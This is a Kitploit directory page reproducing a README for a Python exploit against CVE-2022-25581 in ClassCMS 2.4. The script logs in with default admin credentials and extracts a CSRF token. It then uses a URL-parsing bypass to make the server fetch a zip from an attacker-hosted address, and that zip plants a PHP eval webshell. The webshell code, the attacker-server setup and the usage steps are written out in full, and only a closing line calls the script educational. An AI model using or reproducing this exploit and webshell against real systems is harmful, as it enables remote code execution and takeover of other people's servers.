Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-25581 — Python exploit script for CVE-2022-25581 (ClassCMS 2.4 arbitrary file download) that automates login, CSRF token extraction, malicious zip upload with webshell, and remote shell access via URL parsing bypass. | Kitploit
Tools/GitHubGitHub/wooluo/cve-2022-25581
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubwooluo/cve-2022-25581

CVE-2022-25581

Python exploit script for CVE-2022-25581 (ClassCMS 2.4 arbitrary file download) that automates login, CSRF token extraction, malicious zip upload with webshell, and remote shell access via URL parsing bypass.

View Repository
131 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2022-25581

Can't find it anywhere on the web, leaving a backup, Python exploit script, used to automate the following steps:


✅ Script Functionality Objectives

  1. Log in to the backend (obtain csrf and token)
  2. Construct a malicious request packet to upload a compressed archive (containing a webshell)
  3. Access the uploaded webshell to obtain control permissions (GET shell)

🧾 Prerequisites

  • Target environment: ClassCMS 2.4
  • Web server: PHP 5.5 + MySQL
  • Attacker has an accessible HTTP server (to host shell.zip)
  • Known backend path (e.g. /admin666)
  • Backend credentials: admin/admin

🔒 Vulnerability Exploitation Principle Recap

The core of this arbitrary file download vulnerability is constructing a URL in a special format:

root@kitploit:~
http://@<ip>:[email protected]/shell.zip

It exploits the difference in URL parsing between PHP's parse_url() and curl, bypassing the host whitelist check.


🐍 Python Exploit Script

root@kitploit:~
import requests
from bs4 import BeautifulSoup

# =============== Configuration Information ===============
target_url = "http://192.168.12.144"
admin_path = "/admin666"  # Backend path
login_url = f"{target_url}{admin_path}?do=login"

download_url = f"{target_url}{admin_path}?do=shop:downloadClass&ajax=1"

# Your attack server address (must be reachable by the target)
attacker_ip = "192.168.12.144"
attacker_port = 80
shell_zip_url = f"http://@{attacker_ip}:{attacker_port}@classcms.com/shell.zip"

# Webshell filename
webshell_name = "shell.php"
webshell_path = f"{target_url}/class/shell/{webshell_name}"

# Login credentials
username = "admin"
password = "admin"

# ========================================

# Set up session to maintain cookies
session = requests.Session()

# ================ Step 1: Log in to backend ================
def login():
    print("[*] Logging in to backend...")
    data = {
        "username": username,
        "password": password
    }
    res = session.post(login_url, data=data)
    if "exit" in res.text:
        print("[+] Login successful!")
        return True
    else:
        print("[-] Login failed. Please check username/password or backend path.")
        return False

# ================ Step 2: Retrieve csrf token ================
def get_csrf():
    url = f"{target_url}{admin_path}?do=shop:index&action=detail&classhash=debugswitch"
    res = session.get(url)
    soup = BeautifulSoup(res.text, 'html.parser')
    csrf_input = soup.find('input', {'name': 'csrf'})
    if csrf_input:
        return csrf_input['value']
    else:
        print("[-] Unable to extract csrf token!")
        return None

# ================ Step 3: Upload compressed archive and decompress ================
def upload_shell(csrf_token):
    print(f"[*] Uploading {shell_zip_url} ...")

    payload = {
        "classhash": "shell",
        "url": shell_zip_url,
        "csrf": csrf_token
    }

    headers = {
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
    }

    res = session.post(download_url, data=payload, headers=headers)

    if res.status_code == 200 and "download completed" in res.text:
        print("[+] Upload successful!")
        return True
    else:
        print("[-] Upload failed, response content:", res.text)
        return False

# ================ Step 4: Attempt to access webshell ================
def check_webshell():
    print(f"[*] Attempting to access webshell: {webshell_path}")
    try:
        res = session.get(webshell_path, timeout=5)
        if res.status_code == 200:
            print("[+] Successfully accessed webshell. You can now connect with Chopper/AntSword!")
            print(f"[+] URL: {webshell_path}")
        else:
            print("[-] Webshell not found or not executed.")
    except Exception as e:
        print("[-] Connection error:", str(e))

# ================ Main Function ================
if __name__ == "__main__":
    if login():
        csrf = get_csrf()
        if csrf:
            if upload_shell(csrf):
                check_webshell()

📁 How to Create shell.zip

  1. Create shell.php with the following content:

    root@kitploit:~
    <?php @eval($_POST['cmd']); ?>
    
  2. Pack it into shell.zip, ensuring the structure has shell.php directly in the root directory.

  3. Place it on your attack server, making sure it can be accessed via the following URL:

    root@kitploit:~
    http://192.168.12.144/shell.zip
    

🛠️ Usage Instructions

  1. Install dependencies:
root@kitploit:~
pip install requests beautifulsoup4
  1. Modify the IP, port, path, and other configuration items in the script.
  2. Start an HTTP service on the attack server to provide shell.zip for download.
  3. Run the script:
root@kitploit:~
python exploit_classcms.py

📌 Notes

  • Ensure the attack server has port 80 open and shell.zip is downloadable normally.
  • If the target backend path is different, modify admin_path.
  • If CSRF verification fails, recapture the request to confirm whether the token has been updated.
  • This script is for educational and research purposes only. Do not use it for illegal intrusion!
Download Tool